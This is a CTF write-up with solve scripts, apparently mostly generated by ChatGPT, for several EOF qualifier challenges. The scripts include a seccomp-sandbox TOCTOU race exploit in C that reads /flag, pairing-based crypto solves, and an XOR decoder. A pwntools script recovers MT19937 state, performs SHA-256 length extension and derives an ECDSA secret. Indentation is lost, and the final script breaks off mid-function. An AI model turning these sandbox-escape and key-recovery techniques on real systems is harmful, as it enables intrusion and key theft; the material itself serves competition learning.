Welcome
Found the flag in the announcement chanel after joining discord.

Flag
EOF{2026-quals-in-2025}
catcat’s message
GPT 2 shots, first shot give that Need Hensel lifting, second shot got flag.
An error occurred while executing the file: order has prime power factor 2^46.
Need Hensel lifting; tell me and I’ll extend the solver.
Final Solve Script
https://chatgpt.com/share/69460264-b5a4-8008-bb28-16bfc8a75d1b
#!/usr/bin/env sage -python
from sage.all import *
import sys
# ============================================================
# 0) Parse output.txt (hex x's)
# ============================================================
def parse_output(path):
mmEow_x = None
mmEoW_x = None
xs = []
with open(path, "r", encoding="utf-8", errors="ignore") as f:
for line in f:
line = line.strip()
if line.startswith("mmEow:"):
mmEow_x = int(line.split("0x")[1], 16)
elif line.startswith("mmEoW:"):
mmEoW_x = int(line.split("0x")[1], 16)
else:
if line.startswith("0x"):
if "..." in line:
raise ValueError("output.txt seems truncated (contains '...'). Need the full file.")
xs.append(int(line, 16))
if mmEow_x is None or mmEoW_x is None:
print("[!] Warning: mmEow/mmEoW x not found in output.txt header. Not fatal (we use hardcoded points).")
if len(xs) % 2 != 0:
raise ValueError(f"Expected even number of x outputs (2 per bit), got {len(xs)}")
return xs
# ============================================================
# 1) Challenge constants
# ============================================================
p = Integer(258664426012969094010652733694893533536393512754914660539884262666720468348340822774968888139573360124440321458177)
E = EllipticCurve(GF(p), [0,0,0,0,1]) # y^2 = x^3 + 1
Px = Integer(211327896882745355133216154117765694506824267591963425810864360539127436927129408124317179524815263831669171942288)
Py = Integer(242000360178127454722920758782320325120065800315232786687003874687882586608857040803085327019415054542726981896082)
Qx = Integer(141078002483297354166779897252895086829637396399741587968861330915310465563157775245215359678414439802307293763593)
Qy = Integer(21987419692484616093788518727313616089990324856173653004512069981050648496581282307403640131128425072464960150591)
P = E(Px, Py)
Q = E(Qx, Qy)
R.<x> = PolynomialRing(ZZ)
F = 3471086628063885446357238753610323531339793559544546903532909144431975428449306236097334672163550644000*x**7 + \
84164703558004000847171599254942386241373795544353150531373272670049397760530800008840197737820366466346314691162*x**6 + \
91064528951076613265720743351539296774527279629238715675150132217418711139411039580553128030185345691325519935046*x**5 + \
31838373662325139580926902452637696183043785768442789736602748197181912878103291332207751350605297251672800447952*x**4 + \
21725422740459928990591308588258432180565692590248212021408656855315251472837770646928856382097832397887844336884*x**3 + \
232701688844828316746402724793237178717464441244532163700038748140038967163962591066546062836475323177856883965170*x**2 + \
250210421739490121280267358806528070202074006488405548116408889541562281570437524908655234300295156558260644714790*x + \
220273362144208970479265455330337458917043647417072292667607653673224970006747007341371609183229917395181118430820
G = 10413259884191656339071716260830970594019380678633640710598727433295926285347918708292004016490651932000*x**7 + \
252494110674012002541514797764827158724121386633059451594119818010148193281592400026520593213461099399038944073486*x**6 + \
14529160840260745786509496359724356787188326132801486485566133985535665069892295966690495950982676949536238346962*x**5 + \
95515120986975418742780707357913088549131357305328369209808244591545738634309873996623254051815891755018401343856*x**4 + \
65176268221379786971773925764775296541697077770744636064225970565945754418513311940786569146293497193663533010652*x**3 + \
180776214508546762217902706989924469079606298223767170020347719086675964795206127649700412230279249284690008979158*x**2 + \
233302413192532175819496609029797143533434993955387323269458143291245908014630929176027926621738749425901291228018*x + \
143491234406688723416490898601225309678343916741387556923054435686233973323559376474177051270543031936592520011397
# -------- fast modular evaluation (Horner) --------
def poly_coeffs_high_to_low(poly):
# poly.list() is low->high
coeffs_lo = poly.list()
deg = poly.degree()
coeffs_lo += [0] * (deg + 1 - len(coeffs_lo))
return [int(coeffs_lo[i]) for i in range(deg, -1, -1)]
F_COEFFS = poly_coeffs_high_to_low(F)
G_COEFFS = poly_coeffs_high_to_low(G)
# derivative of F for mod-2 Hensel shortcut
Fprime = F.derivative()
FPRIME_COEFFS = poly_coeffs_high_to_low(Fprime)
def eval_poly_mod(coeffs_hi2lo, t, m):
t = int(t)
m = int(m)
r = 0
for c in coeffs_hi2lo:
r = (r * t + int(c)) % m
return r
def eval_F_mod(t, m): return eval_poly_mod(F_COEFFS, t, m)
def eval_G_mod(t, m): return eval_poly_mod(G_COEFFS, t, m)
def eval_Fprime_mod2(t):
# evaluate F'(t) mod 2 (t is integer representative)
return eval_poly_mod(FPRIME_COEFFS, t & 1, 2)
# ============================================================
# 2) Pairing setup
# ============================================================
def setup_pairing():
ordP = P.order()
ordQ = Q.order()
n = lcm(ordP, ordQ)
print("[+] ord(P) =", ordP)
print("[+] ord(Q) =", ordQ)
print("[+] n = lcm(ordP, ordQ) =", n)
gPQ = P.weil_pairing(Q, n)
g_order = gPQ.multiplicative_order()
print("[+] e(P,Q) multiplicative order =", g_order)
fac = factor(g_order)
print("[+] factor(order) =", fac)
return n, gPQ, g_order, fac
# ============================================================
# 3) From x -> candidate (a,b) via pairing + dlog
# ============================================================
def point_from_x_candidates(x_int):
Fp = GF(p)
xF = Fp(x_int)
rhs = xF**3 + 1
y = rhs.sqrt()
if y is None:
raise ValueError("No square root found for given x; invalid point?")
R1 = E(xF, y)
return [R1, -R1]
def coeffs_from_point(Rpt, n, gPQ, g_order):
# b from e(P,R) = gPQ^b
v1 = P.weil_pairing(Rpt, n)
# a from e(Q,R) = gPQ^{-a}
v2 = Q.weil_pairing(Rpt, n)
b = discrete_log(v1, gPQ, ord=g_order) % g_order
neg_a = discrete_log(v2, gPQ, ord=g_order) % g_order
a = (-neg_a) % g_order
return (a, b)
def coeff_candidates_from_x(x_int, n, gPQ, g_order):
cands = set()
for Rp in point_from_x_candidates(x_int):
a, b = coeffs_from_point(Rp, n, gPQ, g_order)
cands.add((int(a), int(b)))
return list(cands)
# ============================================================
# 4) Existence of t: F(t)=a2 and G(t)=b1 (mod prime powers)
# - exp==1: old GF(pr) gcd/root test
# - exp>1, pr==2: 2-adic Hensel lifting (handles 2^46)
# - exp>1, pr odd: generic (branches up to p each lift; OK only if p small)
# ============================================================
def hensel_exists_same_t_2pow(a, b, e):
"""
Check if exists t mod 2^e such that F(t)=a and G(t)=b mod 2^e.
Uses a small-branch Hensel approach, leaning on F'(t) mod 2 when possible.
"""
a = int(a)
b = int(b)
mod = 2
# Start with t in {0,1} satisfying both mod 2
cands = []
for t in (0, 1):
if (eval_F_mod(t, 2) - (a & 1)) % 2 == 0 and (eval_G_mod(t, 2) - (b & 1)) % 2 == 0:
cands.append(t)
if not cands:
return False
# Lift from 2^1 to 2^e
for k in range(1, e):
mod_next = mod << 1
new = []
for t in cands:
# We want F(t + s*mod) == a (mod 2*mod) and G(...) == b (mod 2*mod), s in {0,1}
# If F'(t) is odd mod 2, we can often pin s directly.
d = eval_Fprime_mod2(t) # 0 or 1
# compute f(t)-a modulo mod_next
ft = (eval_F_mod(t, mod_next) - (a % mod_next)) % mod_next
# ft should be 0 or mod (since t solves mod), derive the next-bit constraint
ft_div = ((ft // mod) & 1)
s_choices = [ft_div] if d == 1 else [0, 1]
for s in s_choices:
t2 = t + s * mod
if (eval_F_mod(t2, mod_next) - (a % mod_next)) % mod_next == 0 and \
(eval_G_mod(t2, mod_next) - (b % mod_next)) % mod_next == 0:
new.append(t2)
# dedup
cands = list(set(new))
if not cands:
return False
mod = mod_next
# safety: if something pathological happens, avoid blow-up
if len(cands) > 4096:
# Fall back to brute prune (still only 2-branch per step, but keep set bounded)
cands = cands[:4096]
return True
def hensel_exists_same_t_generic(pr, exp, a, b):
"""
Generic lifting for odd (or small) primes:
keep candidates t mod p^k, lift by t + s*p^k, s in [0..p-1].
Use only if p is reasonably small.
"""
pr = int(pr)
exp = int(exp)
a = int(a)
b = int(b)
if pr > 2000:
raise NotImplementedError(f"order has prime power factor {pr}^{exp}. "
f"Generic lifting would branch too much for p={pr}.")
# candidates mod p
cands = []
for t in range(pr):
if (eval_F_mod(t, pr) - (a % pr)) % pr == 0 and (eval_G_mod(t, pr) - (b % pr)) % pr == 0:
cands.append(t)
if not cands:
return False
mod = pr
for k in range(1, exp):
mod_next = mod * pr
new = []
for t in cands:
base = t
for s in range(pr):
t2 = base + s * mod
if (eval_F_mod(t2, mod_next) - (a % mod_next)) % mod_next == 0 and \
(eval_G_mod(t2, mod_next) - (b % mod_next)) % mod_next == 0:
new.append(t2)
cands = list(set(new))
if not cands:
return False
mod = mod_next
if len(cands) > 4096:
cands = cands[:4096]
return True
def has_solution_same_t(a2, b1, g_order_factorization, verbose=False):
"""
Returns True iff exists t mod g_order such that:
F(t) == a2 (mod g_order)
G(t) == b1 (mod g_order)
We test existence independently modulo each prime power in factorization,
which is sufficient by CRT for existence modulo the product.
"""
a2 = int(a2)
b1 = int(b1)
for (pr, exp) in g_order_factorization:
pr = int(pr)
exp = int(exp)
if exp == 1:
# fast check over GF(pr): common root of (F-a2) and (G-b1)
Fr = GF(pr)
S.<z> = PolynomialRing(Fr)
Fm = F.change_ring(Fr)
Gm = G.change_ring(Fr)
h1 = Fm(z) - Fr(a2 % pr)
h2 = Gm(z) - Fr(b1 % pr)
g = gcd(h1, h2)
if g.degree() == 0:
if verbose:
print(f" [-] No common root mod {pr}")
return False
roots = g.roots(multiplicities=False)
if len(roots) == 0:
if verbose:
print(f" [-] Common factor but no GF({pr}) root")
return False
if verbose:
print(f" [+] mod {pr}: found {len(roots)} root(s)")
else:
# prime power factor => Hensel lifting existence
if pr == 2:
ok = hensel_exists_same_t_2pow(a2, b1, exp)
else:
ok = hensel_exists_same_t_generic(pr, exp, a2, b1)
if not ok:
if verbose:
print(f" [-] No liftable solution mod {pr}^{exp}")
return False
if verbose:
print(f" [+] mod {pr}^{exp}: has liftable solution(s)")
return True
# ============================================================
# 5) Bits -> bytes
# ============================================================
def bits_to_bytes(bits):
out = bytearray()
if len(bits) % 8 != 0:
print("[!] bits length not multiple of 8, trimming tail?")
L = len(bits) - (len(bits) % 8)
for i in range(0, L, 8):
b = 0
for j in range(8):
b = (b << 1) | int(bits[i + j])
out.append(b)
return bytes(out)
# ============================================================
# 6) Main
# ============================================================
def main():
xs = parse_output("output.txt")
print(f"[+] Parsed {len(xs)} x-values => {len(xs)//2} bits")
n, gPQ, g_order, fac = setup_pairing()
print("[+] Extracting (a,b) coefficient candidates for each point via pairing + dlog ...")
coeff_cands = []
for idx, xv in enumerate(xs):
if idx % 20 == 0:
print(f" [*] point {idx+1}/{len(xs)}")
c = coeff_candidates_from_x(xv, n, gPQ, g_order)
coeff_cands.append(c)
bits = []
print("[+] Decoding bits ...")
for i in range(0, len(xs), 2):
bit_idx = i // 2
c1 = coeff_cands[i] # candidates (a1,b1) for R1
c2 = coeff_cands[i + 1] # candidates (a2,b2) for R2
found_one = False
chosen = None
# Try all sign combinations (<=4)
for (a1, b1) in c1:
for (a2, b2) in c2:
# bit=1 test uses: b1 should equal G(t), a2 should equal F(t) (mod g_order)
ok = has_solution_same_t(a2, b1, fac, verbose=False)
if ok:
found_one = True
chosen = (a1, b1, a2, b2)
break
if found_one:
break
bit = 1 if found_one else 0
bits.append(bit)
if chosen:
print(f"[bit {bit_idx:04d}] = 1 (found consistent t) using b1={chosen[1]} (Q of R1), a2={chosen[2]} (P of R2)")
else:
print(f"[bit {bit_idx:04d}] = 0 (no consistent t across sign combos)")
flag_bytes = bits_to_bytes(bits)
print("\n[+] Recovered bytes (raw):", flag_bytes)
try:
print("[+] As UTF-8:", flag_bytes.decode("utf-8"))
except Exception as e:
print("[!] UTF-8 decode failed:", e)
print("[*] Raw bytes shown above. Search for flag format in them.")
main()
Flag
EOF{cats_dont_like_you_for_breaking_their_meowderful_scheme_…🐈⚔🐈}
SaaS
Both Do not DOS. and the docker command with low cpu clearly hinted it is a race condition challenge, so ask GPT for the solve script and got the flag.
docker run --rm --cpus 0.5 --memory 32m --pids-limit 5 \
-u nobody --security-opt seccomp=unconfined --network none \
saas-box /seccomp-sandbox /sandbox/app
Compile the script with gcc -O2 -pthread -static -s exploit.c -o app and upload
{
"returncode":0,
"stderr":"[sandbox] blocked open /flag\n",
"stdout":"EOF{TICTACTOE_TICKTOCTOU}\n",
"timeout":false
}
Final Solve Script
https://chatgpt.com/share/694606bc-d210-8008-a180-91f5618dd5f7
#define _GNU_SOURCE
#include <fcntl.h>
#include <pthread.h>
#include <sched.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/stat.h>
static volatile int start_flip = 0;
static char pathbuf[64];
static void *flipper(void *arg) {
(void)arg;
while (!start_flip) { /* spin */ }
// 盡量提高命中率:一直翻
for (;;) {
// 先寫 /flag
__builtin_memcpy(pathbuf, "/flag", 6);
asm volatile("" ::: "memory");
// 再寫回 benign path(長度要覆蓋乾淨,避免殘字)
__builtin_memset(pathbuf, 0, sizeof(pathbuf));
__builtin_memcpy(pathbuf, "/sandbox/dummy", 14);
asm volatile("" ::: "memory");
}
return NULL;
}
static void die(const char *msg) {
perror(msg);
_exit(1);
}
int main() {
// 建一個允許路徑的檔案,確保 benign open 也能成功(降低噪音)
int fd = openat(AT_FDCWD, "/sandbox/dummy", O_CREAT | O_RDWR, 0644);
if (fd < 0) die("create /sandbox/dummy");
write(fd, "DUMMY\n", 6);
close(fd);
// 先做一次 realpath 成功的 open,某些環境下可讓 handler stack 更穩(非必需)
fd = openat(AT_FDCWD, "/sandbox", O_RDONLY | O_DIRECTORY);
if (fd >= 0) close(fd);
// 初始化 buffer
memset(pathbuf, 0, sizeof(pathbuf));
memcpy(pathbuf, "/sandbox/dummy", 14);
pthread_t th;
if (pthread_create(&th, NULL, flipper, NULL) != 0) {
die("pthread_create");
}
start_flip = 1;
// 不斷嘗試 openat,直到讀到 flag
for (unsigned long long i = 0; ; i++) {
int f = openat(AT_FDCWD, pathbuf, O_RDONLY);
if (f >= 0) {
char buf[4096];
ssize_t n = read(f, buf, sizeof(buf));
close(f);
if (n > 0) {
// 如果真的打到 /flag,通常會是 flag{...}\n(或至少不是 DUMMY)
if (memmem(buf, n, "flag", 4) || memmem(buf, n, "{", 1)) {
write(1, buf, n);
_exit(0);
}
}
}
// 讓 CPU 不要完全卡死,提高整體互動性(也可移除)
if ((i & 0x3fff) == 0) sched_yield();
}
return 0;
}
Flag
EOF{TICTACTOE_TICKTOCTOU}
fun
llvm-objdump -S xdp_prog.o shows an xdp_encoder function, abviously a xor flag encoder, ask GPT to write a decode script, then get flag.
Final Solve Script
#!/usr/bin/env python3
import re
import subprocess
import binascii
from pathlib import Path
def extract_key(obj_path="xdp_prog.o"):
# Grab disassembly text
dis = subprocess.check_output(["llvm-objdump", "-S", obj_path], text=True, errors="ignore")
# Extract all XOR immediates (e.g., "r4 ^= 0xaf")
xs = [int(h, 16) for h in re.findall(r"\^= 0x([0-9a-fA-F]+)\b", dis)]
# Usually exactly 64 for this challenge
return xs
def read_flag_enc(path="flag.enc"):
b = Path(path).read_bytes()
# If it's hex-as-text, unhexlify it
if all(c in b"0123456789abcdefABCDEF\r\n\t " for c in b):
hex_only = re.sub(rb"[^0-9a-fA-F]", b"", b)
b = binascii.unhexlify(hex_only)
return b
def main():
key = extract_key("xdp_prog.o")
print(f"[+] extracted XOR bytes: {len(key)}")
if len(key) < 64:
print("[!] key too short; your objdump output may be truncated.")
return
enc = read_flag_enc("flag.enc")
print(f"[+] flag.enc bytes: {len(enc)}")
# If flag.enc is exactly 64 bytes, this is a single block.
# If it's longer, we cycle the key (common XOR scheme).
out = bytes(enc[i] ^ key[i % len(key)] for i in range(len(enc)))
print("[+] decoded (raw):")
print(out)
print("[+] decoded (utf-8 best effort):")
print(out.decode("utf-8", errors="replace"))
if __name__ == "__main__":
main()
https://chatgpt.com/share/6946097e-1c60-8008-8374-fb815b761ee9
Flag
EOF{si1Ks0Ng_15_g0oD_T0}
dogdog’s Proof
Final Solve Script
After giving the result of the script back to GPT a few iteration, got flag.
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
import re
import os
from tinyec import registry
import random as pyr
# ============================================================
# Config
# ============================================================
HOST = "chals1.eof.ais3.org"
PORT = 19081
TICKETS = 210
LOG_LEVEL = "info" # "debug" for more
# Curve params (secp256r1)
curve = registry.get_curve('secp256r1')
G = curve.g
n = 115792089210356248762697446949407573529996955224135760342422259061068512044369
# ============================================================
# GF(2) streaming Gaussian elimination
# row is an int bitset: bits[0..nvars-1]=coeffs, bit[nvars]=rhs
# ============================================================
class GF2Solver:
def __init__(self, nvars: int):
self.nvars = nvars
self.var_mask = (1 << nvars) - 1
self.basis = {} # pivot_bit -> row_int
self.num_eq = 0
self.num_indep = 0
def add_row(self, row: int):
self.num_eq += 1
r = row
rv = r & self.var_mask
while rv:
p = rv.bit_length() - 1
if p in self.basis:
r ^= self.basis[p]
rv = r & self.var_mask
else:
self.basis[p] = r
self.num_indep += 1
return True
rhs = (r >> self.nvars) & 1
if rhs:
raise ValueError("Inconsistent system detected (0 = 1).")
return False
def solve(self) -> int:
"""
IMPORTANT:
We insert basis rows with pivot = HIGHEST set bit.
Therefore each row only contains variables <= pivot (no higher bits).
Back-substitution must go from LOW pivot -> HIGH pivot.
"""
sol = 0
pivots = sorted(self.basis.keys()) # ascending!
for p in pivots:
row = self.basis[p]
rhs = (row >> self.nvars) & 1
rv = row & self.var_mask
rv_others = rv & ~(1 << p) # only lower bits (<p)
parity = (rv_others & sol).bit_count() & 1
val = rhs ^ parity
if val:
sol |= (1 << p)
return sol
def check_solution(self, sol: int) -> bool:
for p, row in self.basis.items():
rhs = (row >> self.nvars) & 1
rv = row & self.var_mask
lhs = (rv & sol).bit_count() & 1
if lhs != rhs:
return False
return True
# ============================================================
# Symbolic MT19937 (bit-linear model)
# IMPORTANT: start idx=624 (CPython: after seeding, index=624)
# ============================================================
UPPER_MASK = 0x80000000
LOWER_MASK = 0x7fffffff
A = 0x9908B0DF
N = 624
M = 397
def word_from_vars(word_index: int):
base = word_index * 32
# bit0=LSB
return [(1 << (base + b)) for b in range(32)]
def xor_word(w1, w2):
return [a ^ b for a, b in zip(w1, w2)]
def shr_word(w, k):
out = [0] * 32
for i in range(32 - k):
out[i] = w[i + k]
return out
def shl_word(w, k):
out = [0] * 32
for i in range(k, 32):
out[i] = w[i - k]
return out
def and_mask_word(w, mask: int):
out = [0] * 32
for i in range(32):
if (mask >> i) & 1:
out[i] = w[i]
return out
def temper(w):
y = w[:]
# y ^= y >> 11
y = [y[i] ^ (y[i + 11] if i + 11 < 32 else 0) for i in range(32)]
# y ^= (y << 7) & 0x9D2C5680
y_shl7 = shl_word(y, 7)
y_mask = and_mask_word(y_shl7, 0x9D2C5680)
y = [y[i] ^ y_mask[i] for i in range(32)]
# y ^= (y << 15) & 0xEFC60000
y_shl15 = shl_word(y, 15)
y_mask = and_mask_word(y_shl15, 0xEFC60000)
y = [y[i] ^ y_mask[i] for i in range(32)]
# y ^= y >> 18
y = [y[i] ^ (y[i + 18] if i + 18 < 32 else 0) for i in range(32)]
return y
def twist_inplace_symbolic(mt_state):
mt = mt_state[:] # list copy
def addA_from_y0(y0):
addA = [0] * 32
for b in range(32):
if (A >> b) & 1:
addA[b] = y0
return addA
for kk in range(N - M):
wi = mt[kk]
wip1 = mt[kk + 1]
y = [0] * 32
y[31] = wi[31]
for b in range(31):
y[b] = wip1[b]
y_shr1 = shr_word(y, 1)
y0 = y[0]
neww = xor_word(mt[kk + M], y_shr1)
neww = xor_word(neww, addA_from_y0(y0))
mt[kk] = neww
for kk in range(N - M, N - 1):
wi = mt[kk]
wip1 = mt[kk + 1]
y = [0] * 32
y[31] = wi[31]
for b in range(31):
y[b] = wip1[b]
y_shr1 = shr_word(y, 1)
y0 = y[0]
base = mt[kk + (M - N)]
neww = xor_word(base, y_shr1)
neww = xor_word(neww, addA_from_y0(y0))
mt[kk] = neww
wi = mt[N - 1]
w0 = mt[0]
y = [0] * 32
y[31] = wi[31]
for b in range(31):
y[b] = w0[b]
y_shr1 = shr_word(y, 1)
y0 = y[0]
base = mt[M - 1]
neww = xor_word(base, y_shr1)
neww = xor_word(neww, addA_from_y0(y0))
mt[N - 1] = neww
return mt
class MT19937Symbolic:
def __init__(self):
self.state = [word_from_vars(i) for i in range(N)]
self.idx = N # <-- critical: start at 624
def next_tempered_word(self):
if self.idx >= N:
self.state = twist_inplace_symbolic(self.state)
self.idx = 0
w = self.state[self.idx]
self.idx += 1
return temper(w)
def ticket_bit_exprs_from_10words(words10):
"""
Ticket = getrandbits(134) ^ getrandbits(134)
CPython getrandbits(k>32):
words=(k-1)//32+1
wordarray[0]=LSW ... wordarray[words-1]=MSW (on little-endian)
if k<32 in last step: r >>= (32-k) # keep top k bits
result = sum(wordarray[i] << (32*i))
For k=134 => words=5, last chunk is (w4>>26) placed at bits 128..133.
"""
w0,w1,w2,w3,w4,w5,w6,w7,w8,w9 = words10
out = [0]*134
for b in range(32):
out[b] = w0[b] ^ w5[b]
out[32 + b] = w1[b] ^ w6[b]
out[64 + b] = w2[b] ^ w7[b]
out[96 + b] = w3[b] ^ w8[b]
for b in range(6):
out[128 + b] = w4[26 + b] ^ w9[26 + b]
return out
# ============================================================
# Concrete MT19937 predictor (CPython-compatible)
# ============================================================
def _u32(x): return x & 0xffffffff
class MT19937Predictor:
def __init__(self, mt_state_624, idx=624):
assert len(mt_state_624) == 624
self.mt = [x & 0xffffffff for x in mt_state_624]
self.idx = idx
def twist(self):
mt = self.mt
for kk in range(N - M):
y = (mt[kk] & UPPER_MASK) | (mt[kk + 1] & LOWER_MASK)
mt[kk] = _u32(mt[kk + M] ^ (y >> 1) ^ (A if (y & 1) else 0))
for kk in range(N - M, N - 1):
y = (mt[kk] & UPPER_MASK) | (mt[kk + 1] & LOWER_MASK)
mt[kk] = _u32(mt[kk + (M - N)] ^ (y >> 1) ^ (A if (y & 1) else 0))
y = (mt[N - 1] & UPPER_MASK) | (mt[0] & LOWER_MASK)
mt[N - 1] = _u32(mt[M - 1] ^ (y >> 1) ^ (A if (y & 1) else 0))
self.idx = 0
def genrand_uint32(self):
if self.idx >= N:
self.twist()
y = self.mt[self.idx]
self.idx += 1
# temper
y ^= (y >> 11)
y ^= (y << 7) & 0x9d2c5680
y ^= (y << 15) & 0xefc60000
y ^= (y >> 18)
return _u32(y)
def getrandbits(self, k: int) -> int:
if k < 0:
raise ValueError("k must be non-negative")
if k == 0:
return 0
if k <= 32:
return self.genrand_uint32() >> (32 - k)
words = (k - 1)//32 + 1
wordarray = [0]*words
kk = k
# little-endian path: fill from least significant to most significant
for i in range(words):
r = self.genrand_uint32()
if kk < 32:
r >>= (32 - kk) # drop least-significant bits, keep top kk bits
wordarray[i] = r
kk -= 32
x = 0
for i in range(words):
x |= (wordarray[i] << (32*i))
return x
def ticket(self) -> int:
return self.getrandbits(134) ^ self.getrandbits(134)
# ============================================================
# SHA256 length extension (same as你原本那套,略微整理)
# ============================================================
K256 = [
0x428a2f98,0x71374491,0xb5c0fbcf,0xe9b5dba5,0x3956c25b,0x59f111f1,0x923f82a4,0xab1c5ed5,
0xd807aa98,0x12835b01,0x243185be,0x550c7dc3,0x72be5d74,0x80deb1fe,0x9bdc06a7,0xc19bf174,
0xe49b69c1,0xefbe4786,0x0fc19dc6,0x240ca1cc,0x2de92c6f,0x4a7484aa,0x5cb0a9dc,0x76f988da,
0x983e5152,0xa831c66d,0xb00327c8,0xbf597fc7,0xc6e00bf3,0xd5a79147,0x06ca6351,0x14292967,
0x27b70a85,0x2e1b2138,0x4d2c6dfc,0x53380d13,0x650a7354,0x766a0abb,0x81c2c92e,0x92722c85,
0xa2bfe8a1,0xa81a664b,0xc24b8b70,0xc76c51a3,0xd192e819,0xd6990624,0xf40e3585,0x106aa070,
0x19a4c116,0x1e376c08,0x2748774c,0x34b0bcb5,0x391c0cb3,0x4ed8aa4a,0x5b9cca4f,0x682e6ff3,
0x748f82ee,0x78a5636f,0x84c87814,0x8cc70208,0x90befffa,0xa4506ceb,0xbef9a3f7,0xc67178f2
]
def rotr(x, n): return ((x >> n) | (x << (32 - n))) & 0xffffffff
def ch(x,y,z): return (x & y) ^ (~x & z)
def maj(x,y,z): return (x & y) ^ (x & z) ^ (y & z)
def big_sigma0(x): return rotr(x,2) ^ rotr(x,13) ^ rotr(x,22)
def big_sigma1(x): return rotr(x,6) ^ rotr(x,11) ^ rotr(x,25)
def small_sigma0(x): return rotr(x,7) ^ rotr(x,18) ^ (x >> 3)
def small_sigma1(x): return rotr(x,17) ^ rotr(x,19) ^ (x >> 10)
def sha256_compress(state, block64: bytes):
w = [0]*64
for i in range(16):
w[i] = int.from_bytes(block64[i*4:(i+1)*4], "big")
for i in range(16,64):
w[i] = (small_sigma1(w[i-2]) + w[i-7] + small_sigma0(w[i-15]) + w[i-16]) & 0xffffffff
a,b,c,d,e,f,g,h = state
for i in range(64):
t1 = (h + big_sigma1(e) + ch(e,f,g) + K256[i] + w[i]) & 0xffffffff
t2 = (big_sigma0(a) + maj(a,b,c)) & 0xffffffff
h,g,f = g,f,e
e = (d + t1) & 0xffffffff
d,c,b = c,b,a
a = (t1 + t2) & 0xffffffff
return (
(state[0] + a) & 0xffffffff,
(state[1] + b) & 0xffffffff,
(state[2] + c) & 0xffffffff,
(state[3] + d) & 0xffffffff,
(state[4] + e) & 0xffffffff,
(state[5] + f) & 0xffffffff,
(state[6] + g) & 0xffffffff,
(state[7] + h) & 0xffffffff,
)
def sha256_padding(msg_len_bytes: int) -> bytes:
ml_bits = msg_len_bytes * 8
pad = b"\x80"
while (msg_len_bytes + len(pad)) % 64 != 56:
pad += b"\x00"
pad += ml_bits.to_bytes(8, "big")
return pad
def digest_to_state(digest32: bytes):
return tuple(int.from_bytes(digest32[i*4:(i+1)*4], "big") for i in range(8))
def state_to_digest(state):
return b"".join(x.to_bytes(4, "big") for x in state)
def sha256_continue_from_digest(digest32: bytes, extra: bytes, prev_len_bytes: int) -> bytes:
st = digest_to_state(digest32)
total_len = prev_len_bytes + len(extra)
msg = extra + sha256_padding(total_len)
for i in range(0, len(msg), 64):
st = sha256_compress(st, msg[i:i+64])
return state_to_digest(st)
# ============================================================
# Remote helpers
# ============================================================
def recv_until_option_prompt(io):
io.recvuntil(b"option > ")
def get_ticket(io) -> int:
io.sendline(b"wowoof")
line = io.recvline()
m = re.search(rb"WooFf wOOF ([0-9]+)'f", line)
if not m:
log.failure(f"Unexpected ticket line: {line!r}")
raise ValueError("parse ticket failed")
return int(m.group(1))
def sign_msg(io, msg_bytes: bytes):
io.sendline(b"wowooF")
io.recvuntil(b"(WooOfFfFfF FF) > ")
io.sendline(msg_bytes.hex().encode())
line_r = io.recvline()
line_s = io.recvline()
mr = re.search(rb"wwwooOf:\s*(0x[0-9a-fA-F]+)", line_r)
ms = re.search(rb"wwWooOf:\s*(0x[0-9a-fA-F]+)", line_s)
if not (mr and ms):
log.failure(f"Unexpected sign output:\n{line_r!r}\n{line_s!r}")
raise ValueError("parse sign failed")
r = int(mr.group(1), 16)
s = int(ms.group(1), 16)
return r, s
def verify_msg(io, r: int, s: int, msg_bytes: bytes):
io.sendline(b"wowoOf")
io.recvuntil(b"wwwooOf > ")
io.sendline(hex(r).encode())
io.recvuntil(b"wwWooOf > ")
io.sendline(hex(s).encode())
io.recvuntil(b"(WooOfFfFfF FF) > ")
io.sendline(msg_bytes.hex().encode())
out = io.recvline()
return out
# ============================================================
# Recover MT state from tickets
# ============================================================
def recover_mt_state_from_tickets(tickets):
nvars = 624 * 32
solver = GF2Solver(nvars)
mt = MT19937Symbolic() # idx=624
for ti, y in enumerate(tickets):
words = [mt.next_tempered_word() for _ in range(10)]
t_bits = ticket_bit_exprs_from_10words(words)
for bi in range(134):
expr = t_bits[bi]
rhs = (y >> bi) & 1
row = expr | (rhs << nvars)
solver.add_row(row)
if (ti + 1) % 10 == 0:
log.info(f"[MT] added ticket {ti+1}/{len(tickets)} | eq={solver.num_eq} indep={solver.num_indep}")
log.info(f"[MT] total eq={solver.num_eq}, indep={solver.num_indep}, vars={nvars}")
sol_bits = solver.solve()
assert solver.check_solution(sol_bits), "[GF2] solution does NOT satisfy basis rows (bug in solver)"
# extract 624 words (LSB bit order)
state_words = []
for i in range(624):
w = (sol_bits >> (i * 32)) & 0xffffffff
state_words.append(w)
return state_words
def inv_mod(x, mod):
return pow(x % mod, -1, mod)
def recover_secret_from_two_sigs_same_msg(r1,s1,k1, r2,s2,k2):
num = (s1 * (k1 % n) - s2 * (k2 % n)) % n
den = ((r1 % n) - (r2 % n)) % n
if den == 0:
raise ValueError("r1 == r2 (mod n), retry")
return (num * inv_mod(den, n)) % n
def z_from_sig(r, s, k, secret):
return (s * (k % n) - (r % n) * secret) % n
# ============================================================
# Main
# ============================================================
def main():
context.log_level = LOG_LEVEL
io = remote(HOST, PORT)
recv_until_option_prompt(io)
# 1) Collect tickets
log.info(f"Collecting {TICKETS} tickets...")
tickets = []
for i in range(TICKETS):
y = get_ticket(io)
tickets.append(y)
recv_until_option_prompt(io)
if (i + 1) % 10 == 0:
log.info(f"Collected {i+1}/{TICKETS} tickets")
# 2) Solve symbolic system
log.info("Recovering MT19937 state via GF(2) linear algebra...")
state_words = recover_mt_state_from_tickets(tickets)
log.success("Recovered candidate MT state words (624).")
# 3) Validate with our own CPython-compatible predictor
pred = MT19937Predictor(state_words, idx=624)
# Compare all tickets while advancing predictor (keeps alignment)
for i, y in enumerate(tickets):
yy = pred.ticket()
if yy != y:
log.failure(f"[ALIGN] mismatch at ticket {i}: predicted={yy} observed={y}")
# extra debug: dump the 10 words used by our predictor for this ticket
# (replay by reconstructing a fresh predictor to that point)
dbg = MT19937Predictor(state_words, idx=624)
for _ in range(i):
dbg.ticket()
words = [dbg.genrand_uint32() for _ in range(10)]
log.failure("[ALIGN] 10x u32 words used:")
for j,w in enumerate(words):
log.failure(f" w{j} = 0x{w:08x}")
raise SystemExit("Alignment failed. Paste the 10 words above to me.")
log.success("[ALIGN] predictor tickets match ALL collected tickets. RNG state now aligned after tickets.")
